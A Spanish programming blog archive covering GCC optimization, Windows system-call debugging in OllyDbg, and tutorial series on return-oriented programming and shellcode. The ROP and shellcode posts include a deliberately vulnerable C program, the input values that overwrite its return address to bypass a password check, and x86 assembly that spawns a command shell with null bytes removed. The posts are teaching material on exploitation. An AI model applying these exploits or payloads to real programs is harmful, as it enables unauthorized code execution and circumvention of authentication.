lunes, 1 de septiembre de 2014

Debugging - Optimizacion (y III)

En el post anterior vimos en detalle como el compilador tomaba algunas decisiones para optimizar nuestro código.

La decisión que más impacto tenía era que detectaba que una función era llamada con datos estáticos y realizaba la operación de la función directamente en el tiempo de la compilación.

Eso nos puede dar una idea de como optimizar el código: evitar las variables para referenciar valores fijos y colocar esos valores directamente en el programa. Esta solución, no obstante, golpea en la línea de flotación de otros conceptos de programación. En especial a la hora de simplificar el mantenimiento de los programas. No es viable buscar valores constantes a lo largo del programa para modificarlos.
Parece que nos encontramos ante un dilema: ¿rendimiento o mantenimiento?.

Una vez más el compilador nos va a ayudar y nos va a permitir juntar ambas prioridades mediante la cláusula #define

La cláusula #define tiene esta sintaxis:

#define token  value

Ej:

#define thisyear 2104

Podemos asimilarla a una asignación de variables por ejemplo

int thisyear = 2014; 

Pero hay  varias diferencias importantes:

  • La directiva #define no reserva espacio en ningún lado. Simplemente "recuerda" que thisyear es 2014. 
  • El ámbito (scope) de la directiva está restringido a la compilación del programa el ámbito de una variable está en la ejecución del programa. 

El compilador da una primera lectura del programa fuente para procesar todas las directivas y crea una tabla interna donde relaciona cada token con su valor. En la siguiente lectura sustituye cada token por su valor y realiza las diversas fases de la compilación.
Podemos comprobarlo modificando nuestro programa haciendo que quede:

#define a 1
#define b 2
#define c 3

.
.
.
.

sumaternaria(a, b, c)
... 

Que compilamos y vemos el listado en ensamblador:


Que no difiere en nada del obtenido en la compilación con los valores puestos directamente en la llaamda a la función.

Y que contrasta con el listado de la compilación resultante de cargar las constantes en variables.




Conclusiones. 

Finaliza esta serie de artículos sobre optimización en la que solo hemos tratado de una de las muchas formas con la que podemos optimizar un programa jugando con las opciones del compilador y el diseño de los programas.

Y vistas todas las opciones que tiene un compilador.... hay mucho por trabajar y descubrir.

Espero que esta contribución sirva de punto de arranque para que os animéis a investigar en este apasionante y rentable aspecto de la programación.



martes, 19 de agosto de 2014

Debugging - Optimizacion (II)

En el anterior artículo vimos como modificando las opciones de compilador podíamos lograr una notable mejora en el tiempo de ejecución de un programa. (Sobre todo pensemos en programas batch que en cada ejecución deben de procesas cientos de miles de registros: Grandes entidades financieras, Agencias estatales de tributación, seguridad social, etc, etc.).

Vamos a analizar el código ensamblador que nos genera cada una de las compilaciones. Veamos primero el del programa compilado sin opciones de optimizaciòn:



Vemos la carga en la pila de los tres parámetros de la función y a continuación la llamada a la función sumaternaria().

Y en la imagen:



Vemos claramente las operaciones de suma en las líneas 17 a 21 y en la la línea 26 la instrucción return que nos lleva al programa principal.

Hasta aquí no hay nada no esperado.

Ahora vamos al listado ensamblador del programa compilado con la opción de máxima optimización. Y veamos si ha habido una mejora en el código de la función sumaternaria()




Vemos que hay una diferencia la suma ocupa menos instrucciones y opera directamente sobre la pila en vez de andar cargando  los valores en los registros y operando aritméticamente entre los registros. ¿Justificará este ahorro de instrucciones la diferencia de tiempos?.

Vayamos a la línea principal del programa para ver si  también hay diferencias:



La principal diferencia es que no hay llamada a la función sumaternaria(), ¿como es posible?. Antes de ver lo que está ocurriendo la primera conclusión es que si no hay llamada a la función las mejoras que hemos comentado antes tampoco tienen efecto. ¿De donde sale ese ahorro de tiempos?.

Fijémonos en las lineas 53, 54 y 55.. Este código no es más que la carga de parámetros para función printf() y la primera de ellas lo que hace es cargar en la pila el valor 6. Justamente 6 es la suma de los tres números que pasamos como parámetros a la función sumaternaria(). Para estar seguro de ello, volvemos a compilar el programa con la opción -O3 pero esta vez la llamada a la función será con otros valores:

sumaternaria(11, 12, 13);

Y buscamos en el nuevo listado



Vemos como esta vez se carga el valor 36 que corresponde a la suma de 11, 12, y 13. Con lo que confirmamos que el compilador carga directamente el valor de la suma.

Conclusión.


El compilador detecta que se está llamando a una función con valores fijos y coloca directamente el resultado en la pila para la siguiente función.

Por muchas razones: ciclos de cpu, paginación, etc esta codificación si justifica el ahorro de tiempo que hemos visto en las pruebas y, en determinadas condiciones, podría haber sido incluso más.

En el próximo artículo entraremos un poco a analizar los grupos de opciones y sacaremos alguna conclusiones más que deberemos tener en cuenta a la hora de optimizar nuestros programas.




lunes, 4 de agosto de 2014

Debugging - Optimizacion (I)

Empezamos una nueva serie de artículos  de la categoría de Debugging que va a tratar de la optimización de programas.

Todos tenemos claro que el objetivo de optimizar es realizar:  más cantidad / más rápido / mejor calidad con los  mismos o menores recursos.

En la caso de la programación la optimización pasa principalmente por hacer que los programas hagan sus tareas en el menor tiempo y consumiendo los menos recursos, aunque normalmente y a partir de determinado punto de finura ambos conceptos son antagónicos y hay que elegir.

Vamos a centrarnos es esta serie en la optimización como mejora de los tiempos de ejecución. Y vamos a ver como los compiladores nos ayudan en esta tarea.

Aunque siempre lo recuerdo, esta vez hago una vez más hincapié en ello: todos los resultados que se pueden obtener dependen en mayor medida del compilador que estemos usando y, en menor medida, de la versión del mismo.

La parte práctica de este articulo está hecha en el compilador GCC  Version: 4.8.1


En este enlace  tenemos todas las opciones de compilación de GCC, que no son pocas, y aunque se pueden tomar de forma independiente quienes han diseñado el compilador han estimado hacer tres grupos: 1, 2 y 3.
Además tenemos el 0 que quiere decir ninguna optimización y el s que quiere decir optimización de tamaño.

Cada grupo tiene sus propias opciones más las opciones del grupo anterior.

Vamos a trabajar con un sencillo programa que compilaremos, para no andarnos con sutilezas con las opciones más extremas: -O0 y -O3

El programa en cuestión es muy sencillo:

#include <stdio.h>
int sumaternaria( int a, int b, int c )
{
return a + b + c;
}
int main( void )
{
int a = 1;
int b = 2;
int c = 3;
int z = 0;
double  i,j;
for (i=0; i<10000000; i++) 
{   
for (j=0; j<100000; j++)
{
z = sumaternaria( 1, 2, 3);
}
}
printf( "Answer is: %d\n", z );
return 0;
}

Y parece díficil que se pueda optimizar. Este programa realiza una suma de tres número e imprime su resultado. Los dos bucles externos son para crear las suficientes iteraciones que puedan hacer el resultado perceptible.


Para poder trabajar he usado el compilador  y además de usar la opcion -O he utilizad la opción -S para que saque el listado en ensamblador que luego sirve de entrada al ensamblador propiamente dicho.

Además de la opción -O  para optimización, he usado la opción -S (mayúscula, no confundir con -s) para obtener el listado en ensamblado.

Para facilitar el trabajo he creado este script de compilación.

_programa=$1
_opcion=$2
echo "Compilando...."
gcc -O$_opcion -S -g -o $_programa$_opcion.s $_programa.c
echo "Ensamblando...."
as -alh -o $_programa$_opcion.obj $_programa$_opcion.s > $_programa$_opcion.asm
echo "Creando el ejecutable"
gcc $_params  -O$_opcion    -g -o $_programa$_opcion.exe  $_programa.c

Que es invocado de la siguiente forma:

./gcccomp.sh nombre_programa [0|3]

Obtengo los siguientes ficheros:

Programa compilado con la opción -O0
  • nombreprograma0.exe
  • nombreprograma0.asm
Programa compilado con la opción -O0
  • nombreprograma3.exe
  • nombreprograma3.asm

He realizado varias  compilaciones y ejecuciones modificando los valores de la variable j y dejando la variable i sin modificar. En mi equipo obtuve los siguientes resultados:

j = 1000

  • Compilación -O0: 37 segundos
  • Compilación -O3:  < 1 segundo


j: 10000

  • Compilación -O0: 375 segundos
  • Compilación -O3:  129 segundos


j: 100000 

  • Compilación -O0: 93 minutos
  • Compilación -O3:  42 minutos
Ya solo nos queda ver como se ha operado este "milagro" pero eso lo veremos en el siguiente artículo. Mientras tanto animo a los lectores que van siendo cada vez más a realizar las misma pruebas en sus equipos, (se puede realizar tanto en Windows como Linux), y a comparar los resultados obtenidos. 

domingo, 20 de julio de 2014

Programación dirigida por retorno. (y IV) - Encadenando retornos

En los anteriores post hemos ido viendo como era posible aprovechar un desbordamiento de stack para alterar el comportamiento de un programa evitando el mecanismo DEP  que impide la ejecución de código inyectado.

Otra manera de usar la Programación Orientada por retorno es conocida como Ret2libc (Return-to-libc) que en esencia consiste en sobreescribir la dirección de retorno con la llamada a una función del sistema y previamente se han escrito también en la pila los parámetros que pueda necesitar esa función. Por ejemplo la ejecución de un comando, (system("comando parametros")).

Existe una tercera forma de utilizar esta técnica: la construcción de "gadgets".

¿Que es un gadget?.


En la programación orientada por retorno se llama gadget a una serie de instrucciones, cada una seguida por una instrucción ret, que encadenadas permiten la ejecución de instrucciones.



Dicho así suena poco comprensible, lo mejor es verlo con un ejemplo.



Al ejecutarse la primera intrucción ret esta nos lleva a estas instrucciones



Una vez se ejecuta  primera instrucción  el registro A contiene el valor



Y la pila tiene el valor


por lo que siguiente instrucción nos lleva a la dirección apuntada por ese valor:



Las siguiente instrucción cargara el registro ECX el valor:




Y deja al valor para ser usado por la RET que le sigue.



La última instrucción moverá el valor del registro EAX a la dirección de memoria apuntada por el registro ECX.

En resumen hemos realizado lo siguiente:




La imagen más descriptiva de lo que es un gadget es aquellas notas que veíamos en las películas cuando los secuestradores enviaban un mensaje con las instrucciones para el dinero y este mensaje estaba formado por recortes de periódicos:



Una vez entendido como funciona el encadenado de returns la construcción de un gadget no es complicada aunque sí un poco laboriosa.

Hemos de identificar en el proceso un juego de instrucciones que nos sean válidas y que estén seguidas de un return. Recorreremos para ello todas las bibliotecas compartida, haremos un inventario de cada return y su instrucción precendent, y anotaremos la dirección de la instruccion anterior.

Armados ya con este inventario, solo tendremos que crear la adecuada sentencia para incorporar en la pila: valores para la instucción que queremos ejecutar y  dirección de la instrucción siguiente que necesitamos.

Lo dicho, fácil pero laborioso.

Y con este post finalizamos esta introducción a la Return Oriented Programming pero seguiremos profundizando en otras técnicas la explotación y defensa de los desbordamientos de buffer. 








martes, 8 de julio de 2014

Programación dirigida por retorno. (III) - Atacando el programa

El último post acababa con este figura:




En el que le flecha verde indica el flujo del programa cuando no coincide las contraseñas y la flecha roja señala lo que queremos hacer: que la intrucción RET nos lleve a la dirección de memoria 0x4017F2. 

Para conseguirlo sólo tendremos que colocar en la entrada adecuada de la pila el valor 0x4017F2 y habremos conseguido anular el control de contraseñas. 

Damos nuevamente una ejecución al programa y previamente pondremos un breakpoint en la instrucción LEAVE, cuando el programa se detenga analizaremos la pila: 



Podemos ver, de abajo a arriba y a partir de la dirección 0x22FF18 el espacio reservado para las variables in1 e in2.
A continuación a continuación la memoria reservado para la matriz arr[20] que al ser de tipo integer tiene cada entrada tiene una longitud de 4 octetos. Y encima de ella está la matriz var[20]  que tiene una longitud de 20 octetos. 
Como dije en el segundo post de esta serie inicialicé las matrices con los valores 6 y 7 para que nos fuera más fácil indentificar dentro de la pila. 

Los valores que tenemos en estas variables son:

in1: 0x02
in2: 0x5D (Dec 93)

La tercera entrada de la matriz arr (arr[2]) con el valor 0x5D y el string var tiene en la cadena de caracteres "93" con su finalización en 0x00.

Un poco más abajo encontramos una dirección  que también pertenece a nuestro programa y que por su proximidad tiene todas las probabilidades de ser la dirección que debemos modificar. Lo comprobamos pulsando F7 (paso a paso) y confirmamos nuestra suposición. 

Esta entrada dentro de la pila está siete palabras más allá de la finalización de la matriz arr (en arr[26]). Ya sabemos que colocar en el primer registro del fichero de parámetros. 
El segundo registro contendrá la dirección a donde queremos dirigir el retorno que, como hemos dicho arriba, es la dirección 0x4017F2 (4200434 en decimal).
Nuestro fichero de parámetros debe quedar entonces así:

26
4200434

Hacemos una nueva ejecución con esos valores y vamos a la ventana de ejecución vemos:



Recordemos el código fuente: 

if (arr[in1] != tabla[in1])
{
printf("La coordenada no es correcta\n");
return ;
}
printf("La coordenada es correcta\n");
printf(mensaje4);

Al no ser correcta la contraseña vemos el mensaje que nos lo indica y a continuación el programa debería de salir, pero hemos aprovechado una vulnerabilidad del programa que permite aprovechar un desbordamiento de pila y hemos alterado la dirección de retorno para en vez de salir nos lleve a la parte de código que se ejecuta cuando la contraseña es correcta. 

Y ni siquiera el tener el bit NX / DX activado hubiera impedido explotar esta vulnerabilidad...... 

martes, 24 de junio de 2014

Programación dirigida por retorno. (II) - Un ejemplo práctico

Finalicé el post anterior con el compromiso de continuar con un ejemplo práctico de Programación dirigida por retorno.

Pongámonos en un caso extremadamente simple, un programa lee un fichero que contiene dos líneas, la primera es un identificador de sesión (numérico) y la siguiente es una contraseña válida para ese identificador de sesión.

Hay una matriz en la pila que se encarga de recibir ambos valores y coloca en el elemento apuntado por el identificador de sesión el valor la contraseña asociada.

El resto es demasiado sencillo se pregunta si el valor introducido es igual a la entrada que hay en una tabla de contraseñas. Si es igual el procedimiento sigue, si no lo es da un mensaje de error y finaliza.


{
FILE *fd;
int in1,in2;
int arr[20];
char var[20];

if (argc !=2){
printf(mensaje0,*argv);
return -1;
}
fd = fopen(argv[1],"r");
if(fd == NULL)
{
fprintf(stderr,mensaje1);
return -2;
}
memset(var,7,sizeof(var));
memset(arr,6,20*sizeof(int));
while(fgets(var,20,fd))
{
in1 = atoll(var);
fgets(var,20,fd);
in2 = atoll(var);
/* fill array */
arr[in1]=in2;
//printf("%d - %d\n", arr[in1], tabla[in1]);
if (arr[in1] != tabla[in1])
{
printf("La coordenada no es correcta\n");
return ;
}
printf("La coordenada es correcta\n");
printf(mensaje4);
return;
}
}



Esto está así por simplicidad. En un sistema más complejo la tabla de valores estaría fuera del programa y al menos procesada mediante un algoritmo de hashing. Pero todo este tema nos da un poco igual porque lo que a nosotros nos interesa simplemente dirigir el retorno.





He tomado algunas libertades para hacer más sencillo y comprensible el programa el programa:

Unos campos de memoria de relleno para simplificar los cálculos:



Unas inicializaciones de memoria raras. Lo correcto habría sido inicializarlas a 0x00 pero las he inicializado con los valores 6 y 7 para que nos sea más fácil de identificar en la pila.



Arrancamos Ollydbg y cargamos el programa compilado. Con la información que nos suministra este depurador podemos localizar en que punto está la verificación de la clave correcta: 

if (arr[in1] != tabla[in1])




Y colocamos un breakpoint en este punto.

Como los datos los tenemos en un fichero lo primero que tenemos que hacer es indicar a Ollydbg cuales el argumento de entrada. Lo realizamos desde el menú Debug -> Arguments

Ponemos el nombre del fichero que queramos  que previamente habremos creado con los siguientes valores:

2
93

Ejecutamos hasta que se pare y comprobamos los valores de los registros EAX y EDX. Al ser iguales el programa continúa en la direccion 0x004017F2 (la contraseña es correcta).



Si cargamos el fichero con otros valores:

2
95

Y ejecutamos, cuando se pare el programa podemos ver que los  valores de los registros EAX y EDX sin distintos. El programa da el mensaje de aviso y llega a la instrucción return.

El objetivo, que veremos en la próxima entrada es alterar el contenido de la pila para que nos lleve a la instrucción 0x004017F2 y poder continuar le ejecución del programa como si la contraseña hubiera sido correcta.







miércoles, 18 de junio de 2014

Programación dirigida por retorno. (I) - La teoría

Antes de entrar en lo que es la Programación dirigida por retorno (en adelante la nombraré por sus siglas en inglés: Return Oriented Programming) vamos a refrescar un poco lo que es el el desbordamiento de buffer y su posible utilización para ejecutar código arbitrario.

En anteriores post hemos entrado en este tema a fondo  pero vamos a recordar un poco para quienes no sigan este blog en que consiste.


Buffer Overflow y sus contramedidas.


Consiste alterar mediante un bloque datos la información de la pila, introduciendo código y modificando una dirección de retorno para redirigirla a ese código introducido.

Los compiladores, desde hace tiempo, usan diversas técnicas para  luchar contra estos ataques. Sin entrar en detalles estas técnicas se suele basar en cargar en la pila encima de la dirección de retorno un valor aleatorio y también colocarlo en el heap de memoria. Antes de hacer el return se comprueba que ambos valores coinciden. Para más información aconsejo esta lectura.

El popular compilador gcc tiene también su opción para proteger el stack con la opción -fstack-protector.

Otra solución  ha sido la implantanción en los procesadores de un mecanismo que impidiera la ejecución de código ubicado en la pila. Esta solucion tiene varios nombres XD, NX según el fabricante de ordenadores y a veces se habla indistintamente de esta capacidad hardware con que el sistema operativo la use y hablamos de Data Execution Prevention que es una capacidad software del sistemo operativo que incluso puede simularse en procesadores sin NX.

El conocer un poco más estos mecanismos da para mucho y en este artículo, en lo que nos sirve nos hemos de quedar con la idea de que existe una proteccion que impide la ejecución de código desde la pila

Bien DEP, impide que se pueda ejecutar un código que previamente he metido de forma aviesa en la pila. Pero DEP no impide que coloque lo que quiera en la pila y por lo tanto no va a impedir que sobreescriba la dirección de retorno correcta por una de mi interés.
Lo único que tengo que hacer es que ese código que quiero de que ejecute no esté en la pila. Podemos hacer entonces dos cosas: llamar a un función que nos interese del sistema, por ejemplo construir una llamada al sistema  o bien podemos hacer que el retorno fuera a otro punto del programa comprometido con lo que estamos alterando su comportamiento.

Hasta aquí la teoría, en el siguiente post veremos mediante un sencillo ejemplo como simplemente alterando al dirección de retorno de una función podríamos comprometer sofisticados sistemas de verificación.





martes, 27 de mayo de 2014

Debugging (I) Llamadas al sistema (System calls) y III

En la arquitectura x86 las llamadas al sistema se realiza mediante la instrucción SYSENTER. (aunque no siempre ha sido así. Hasta los Pentium II era mediante la instruccion INT 2E)

Esta sustitución ha sido para mejorar el rendimiento de las llamadas al sistema porque eliminan cierta sobrecarga en la gestión de interrupciones que, en el caso de la interrupción 2E, era superflua.

Tenemos una forma ya fácil de localizar la llamada al sistema. Solo tendremos que situarnos con ollydbg en el módulo ntdll.dll y localizar esa instrucción.

Pero antes vamos a seguir ampliando nuestros conocimientos. La última función que encontramos dentro del modo usuario (anillo 3) es KiFastSystemCall. Localicemos dentro el módulo ntdll.dll el código.

En la ventana de ejecución de Ollydbg solo tendremos que seleccionar Search for --> Name in all modules. Y aquí la vemos. Sólo dos líneas, tres sin incluimos la instrucción RET.

KiFastSystemCall                   8BD4            MOV EDX,ESP
7C90E512                              0F34            SYSENTER
KiFastSystemCallRet                C3              RET

Y a continuación, debajo vemos:

KiIntSystemCall                    8D5424 08       LEA EDX,DWORD PTR [ESP+8]
7C90E524                                  CD 2E        INT 2E
7C90E526                                        C3        RET

Que son las formas antigua y modernas de llamar la sistema. Lo que nos que esta versión sistema también puede puede funcionar en procesadores más antiguos.
Los nombres de cada una de las funciones también nos dan una pista: llamada al sistema y llamada rápida al sistema.

En la instrucción SYSENTER colocaremos un breakpoint y lo dejaremos deshabilitado porque nos interesa que se pare en le función fopen que es la que estamos siguiendo. Ponemos otro breakpoint en la llamada a función fopen

Damos Ejecutar (F9). Cuando el programa se pare en la llamada a fopen iremos a la ventana de breakpoint y habilitaremos la parada en la instrucción SYSENTER y volvemos a dar F9. Como esperábamos se nos para en la instrucción SYSENTER.

Observemos el registro EAX que contiene el valor 0x54. Esto valor es el número que identifica a la llamada del sistema que va a abrir el fichero.

Ahora a ejecutar hasta el código de usuario (Alf+ F9) para ver si hay más llamadas al sistema. Nos volvemos a parar nuevamente. Esta vez el registro EAX tiene el valor 0x25. Seguimos con Alt+F9, se nos para una vez más, esta vez tenemos en el registro EAX el valor 0xB3.

A la cuarte vez que damos Alt+F9 el programa se para ya en el código de usuario. La conclusión es que la función fopen, no tiene una llamada al  sistema. !Tiene cuatro¡.

Podemos realizar un proceso similar con la función toupper para tener la certeza de que esta función no tiene ninguna llamada al sistema.

Conclusión. 

Ambas funciones, que nos suministra el juego de funciones de las bibliotecas de C y que pueden parecer iguales tienen en su interior un uso de la arquitectura del procesador muy diferente. Y, si bien es bueno, aislar de ciertas complejidades a la codificación también debemos ser conscientes cuando programamos que no todas las cosas son por dentro iguales.... aunque por fuera no seamos capaces de notarlo.

<-- Previa entrada




lunes, 26 de mayo de 2014

Debugging (I) Llamadas al sistema (System calls) II

En el post anterior expliqué la razón de la existencia de las llamadas al sistema y su naturaleza bien distinta de las funciones normales aunque desde la visión del programador no haya distinción.

En este artículo empezaremos a entrar en detalles y veremos como se realizan las llamadas al sistema y su diferencia con las llamadas a funciones que no necesitan de servicios del sistema.

Utilizaremos este sencillo programa:

#include <stdio.h>
#include <ctype.h> 
char mayuscula(char minuscula) 
{
return toupper(minuscula);
}
int main()
    {
    FILE *fichero;
    char letra, upperletra;

    fichero = fopen("origen.txt","r");
    if (fichero==NULL)
       {
       printf( "No se puede abrir el fichero.\n" );
       return 0;
       }
    printf( "Contenido del fichero:\n" );
    letra=getc(fichero);
    while (feof(fichero)==0)
          {
 upperletra = mayuscula(letra);
          printf( "%c",upperletra );
          letra=getc(fichero);
          }
    if (fclose(fichero)!=0)
       printf( "Problemas al cerrar el fichero\n" );
}

Y nos vamos a centrar en estas tres funciones:

  1. mayuscula(letra)
  2. fopen("origen.txt","r")
  3. toupper(minuscula)


Y las iremos viendo en  el orden en que están numeradas

La primera es una función interna de nuestro programa y que seguiremos su ejecución. La segunda es la que contiene la llamada al sistema y la última una función externa y ya habremos adquirido conocimientos suficientes para poder saber si esa función tiene una llamada al sistema.

Cargaremos el programa compilado en Ollydbg. Según el compilador y las opciones del mismo las instrucciones y las direcciones de memoria no van a coincidir, pero se podrá seguir igualmente el artículo.

Una vez cargado el programa y antes de entrar en el la ejecución vamos a ver que otros módulos carga. Pulsamos Alt+E para acceder directamente a la ventana módulos cargados.
                               

Vemos que tenemos el programa que se llama syscallexample.exe y tres DLLs: kernel.dll y nt.dll  que suministran servicios básicos de Windows a los programas. Se trata de un programa muy sencillo por lo que no necesita mucho más.

La otra DLL es la biblioteca de ejecución que suministra todas la funciones típicas del lenguaje C: printf, fopen, ....

Localizamos primeramente el código de nuestro programa que no estará cerca del punto de entrada a la ejecución.
Nos ponemos en la ventana de CPU (alt+C) y con el menú contextual nos vamos a las llamadas entre módulos. No olvidemos que fopen y uppercase a diferencia de la función mayuscula está en el módulo msvcrt.dll






Ya estamos posicionados en la parte de código que hemos creado. Es un programa muy sencillo y todo el código, tanto la línea principal como la función interna está dentro de rango visible en la pantalla. Esto nos va a facilitar el seguimiento de las instrucciones paso a paso.



Tenemos varios CALL y uno de ellos apunta a la dirección 004016B0 que se corresponde con la dirección de la función mayuscula  así que ponemos en esta instruccion un Breakpoint (F2)
Ejecutamos el programa (F9)  esperamos que se pare en el breakpoint y empezamos la ejecución paso a paso F7. Ya estamos dentro de la parte de código que pertenece a la función (que es muy cortita en este caso). A partir de ahora seguiremos con la ejecución paso a paso, pero evitando entrar en las funciones (F8) y vamos así, paso a paso, hasta llegar a la instrucción RET.

Volvemos a dar F8 y regresamos a la línea principal del programa. Y con  esto podemos dar por concluido  como se implementa en la arquitectura x86 las llamadas a las funciones.

Ahora entraremos en la función fopen de la que sabemos que en un momento determinado realiza una llamada al sistema.

Borramos todos los breakpoint y ponemos uno en la llamada a la función fopen. Ejecutamos y esperamos a que se pare el programa. F7 para entrar en paso a paso.
Nos lleva a una zona del código que es un diccionario de saltos, se ve por los nombres de los diversos saltos. Seguimos paso a paso y en la siguiente instrucción vemos que hemos cambiando de módulo.
Seguimos y vemos que lleva a otra CALL que lleva a otra  y así una y otra vez. Entramos en un terreno difícil y no parece lógico seguir de esta forma a menos que tengamos mucha paciencia, mucho tiempo y mucha disciplina.

Es el momento de recapacitar sobre esto y en la próxima entrega veremos como abordar este problema.


martes, 20 de mayo de 2014

Debugging (I) Llamadas al sistema (System calls)

Las llamadas al sistema, aunque parecen funciones, son un mecanismo más complejo que una simple bifurcación con retorno y a lo largo de esta serie de artículos entenderemos, con ejemplos prácticos, como funcionan.

Los lenguajes de programación y casi toda la documentación asociada a ellos apenas hacen distinción de ello pero bajo el concepto general de función se esconden dos cosas bien diferentes.


  • La función "normal" entendida como un salto a otra zona del programa y retorno a la instrucción siguiente al salto.
  • La llamada al sistema  tiene algo más de complejidad como veremos más adelante pero antes explicaremos la necesidad de la existencia de este tipo de funciones.


Se puede definir una llamada al sistema como una función que se ejecuta dentro del espacio del kernel. Ahora vamos a ver como está montada en la arquitectura x86 la protección de memoria. (Expongo este modelo por ser el más conocido, pero sea cual sea la arquitectura existe un modelo por el que se estructura la seguridad en la memoria, puede tener más a menos niveles, ser visto como anillo o como capa, etc. pero siempre hay una distinción entre memoria/acceso privilegiado y memoria/acceso de usuario)

En la imagen siguiente se puede ver como está estructurada en anillos con cuatro capas siendo la más interna (y mas privilegiada) el kernel en el centro del anillo.




En la mas externa, la que tiene menos privilegio, estarían los programas de usuario. Normalmente se conoce a esta capa como modo usuario (user mode).

No parece normal que un programa en modo usuario tenga que entrar a hacer "cosas del kernel", pero las cosas no son tan evidentes.

Supongamos una acción tan común como es abrir un fichero. Leamos un poco en detalle que hace la función open().

Esta función nos devuelve un file descriptor que no es más que un número de orden en una tabla que contiene los ficheros abiertos por el proceso. Estas tablas, a su vez, apunta a otras tablas y asi.... hasta el hardware.


En algún momento seguro que necesitaremos modificar algo que está en memoria privilegiada.
La solución a este problema evidentemente no debe pasar por que el programa tenga acceso a ese tipo de memoria pues expondríamos al kernel y a sus críticas estructuras de datos a todo tipo de errores. Una consecuencia inmediata de ello es que un pequeño error en un programa de usuario podría hacer que el kernel finalizará de manera anormal y todo el sistema se vendrá abajo.

Para dar solución a este problema se crearon las llamadas al sistema que permiten a los usuarios realizar una serie de acciones que necesitan ser realizas en modo kernel sin necesidad de tener ese nivel de privilegio.

Las llamadas al sistema no se realizan como las llamadas a funciones normales mediante un salto al código de la función si no que requiere un mecanismo que conmute del modo usuario al modo privilegiada. Dependiendo de la arquitectura existes varios sistemas aunque el más usado es generar una interrupción y todas las consecuencias que lleva consigo una interrupción de programa.

En la siguiente entrega veremos mediante un ejemplo práctico como se implementan las llamadas al sistema.


martes, 1 de abril de 2014

Un pequeño desafío - La solución (y II)

En el anterior post ya dejamos confeccionado el exploit aunque avisaba de que todavía no estaba listo y que quedaba ajustes técnicos.

Estos ajustes tienen más que ver la técnica de programación de shellcodes que con la lógica del exploit.

Malditos ceros binarios

En el código que desarrollamos en la primera parte ya tuvimos que realizar algo que parecía sin sentido pero necesario que era el conocimiento de la ubicación de nuestro programa en memoria.

call ubica1
ubica1:
pop ebx
.
.
Con estas tres líneas lográbamos llevar al registro ebx la dirección de la instrucción pop ebx y por lo tanto  donde esta nuestro programa. 

Sumando o restando valores a ese registro podríamos colocarnos en cualquier zona de nuestro programa. 

Veamos ahora el siguiente problema al que se enfrenta un programador de shellcodes. 

El código inyectado a través de una vulnerabilidad antes de ser ubicado en la pila será manejado por alguna de las múltiples funciones de manipulación de cadenas de caracteres. Cualquier función de este tipo identifica el fin de la cadena por el cero binario (Null-byte) 0x00. 
Si encuentra este carácter en la cadena cortará el exploit y cargará sólo el primer trozo en la pila. Veamos nuestro programa como queda en código máquina






La primera en la frente. Nuestro programa empieza con una preciosa cadena de cuatro ceros binarios, a falta de uno tenemos cuatro. 
Como ironía del destino, esos cuatro ceros binarios son la consecuencia de la instrucción call ubica1 que nos hemos vistos obligados a introducir para cargar la ubicación. Veamos como evitarlo. 

Existen ciertas combinaciones de instrucciones que son tiene el mismo efecto pero eliminar los ceros binarios como las siguientes: 

Instrucción con
Null-byte
Codificación
binaria
Instrucción sin
Null-Byte
Codificación
binaria
mov eax,5 B8 00000005 mov al,5 B0 05
call next E8 00000000 jmp next/call prev EB 05/ E8 F9FFFFFF
cmp eax,0 83F8 00 test eax,eax 85C0
mov eax,0 B8 00000000 xor eax,eax 33C0
En nuestro caso nos interesa la segunda instrucción y su alternativa

Nuestro código en su inicio queda así: 

jmp next
prev:
pop ebx
jmp ebx
next:
call prev
ubica1

Si se siguen las instrucciones veremos que cuando lleguemos a ubica1 tendremos en el registro ebx el valor de ubica1, que es lo que necesitamos 

La siguiente instrucción con null-byte nos la encontramos en el salto a la instrucción que llama a la función system.

La solución en este caso va a ser bastante trivial, pondremos en el shellcode su complementario y sobre este valor dentro del código ejecutaremos la operación NOT para obtener el valor deseado: 

mov eax, 0FFBFEF70h
not eax
jmp eax

Ensamblamos el programa y lo arrancamos con ollydbg et voilà.



Ya tenemos nuestro shellcode sin null-byte. 

Ejecutando el exploit


En este enlace podéis descarga un fichero comprimido que contiene: 

  • Fuente del programa a explotar:  exploitthis.c 
  • Ejecutable del programa a explotar: exploitthis.exe (compilado con tinyc)
  • Fuente del shellcode: exploitthis2.asm
  • Cadena de caracteres maliciosa: test1.txt
  • Fichero readme.txt

Para simplificar el trabajo vamos a meter tanto el exploit como la shellcode en un fichero. Para el manejo de datos en hexadecimal yo uso notepad++ que es un editor de texto gratuito muy potente. 

Colocamos tanto el inicio del buffer de entrada(entre marcas rojas), la dirección de retorno que sobreescribirá el EIP, (entre marcas verdes),  y el payload, (entre marcas azules). Queda así el fichero con la cadena maliciosa: 





Solo nos quedaría ejecutar el siguiente comando: 


type test1.txt | exploitthis

Y se nos abrirá una ventana de ejecución de comandos





jueves, 20 de marzo de 2014

Un pequeño desafío - La solución (I)

En el post expliqué como realizar un exploit sobre un simple programa. Una vez resuelto mandé la respuesta a @brutelogic


Pues no ponemos manos a la obra.

En el post anterior ya anticipaba:
Ahora deberíamos de intentar sacar partido de esta vulnerabilidad.
Una vía para conseguirlo es sobreescribir el texto "clear" que es usado en la invocación a la funcion system y sustituirlo por otro valor. Por ejemplo: cmd.exe

Esto es más fácil de decir que de realizar, aunque tampoco es demasiado difícil hacerlo. La lógica del exploit será:
  • Poner en la pila el comando que deseamos ejecutar
  • Devolver control al programa cuando va a llamar a la función system
Que codificado en ensamblador queda así.


call ubica1
ubica1:
pop ebx
mov eax, ebx
add eax, shelloff
push eax
mov eax,0040108fh ; Dirección de la llamada a la función system
jmp eax
nop
shelloff equ $-ubica1
shell db 'start cmd'
shelllenght equ $-shell


Las sentencias son sencillas aunque vamos a analizarlas un poco pues si no se tiene experiencia en la codificación de este tipo de código hay cosas que puede parecer extrañas.
Y lo extraño está en la primera sentencia: se realiza una llamada (call) a la instrucción siguiente. ¿Que sentido tiene esto?.
Una característica que tienen los programas compilados y linkeditados es que todas las direcciones tanto internas como externas están resueltas y funcionamos en base a los desplazamientos respecto a esas direcciones que se corresponden con los distintos segmentos: datos inicializados, datos sin inicializar, segmento de código y referencias a otros módulos.
Pero al entrar desde una shell estamos en terreno desconocido y lo primero que hay que hacer es conocer la dirección en la que estamos cargados.
Repasemos lo que hace la instrucción call:


  • Carga la dirección siguiente a la call en la pila
  • Transfiere el control a la dirección indicada en su parámetro.

Según esta lógica lo que estamos haciendo con call siguienteinstrucción es cargar en la pila la dirección se la siguiente instrucción y ceder control a la siguiente instrucción. Luego extraemos el primer elemento de la pila y ya tenemos cargada la ubicación del programa que estamos realizando:

call ubica1
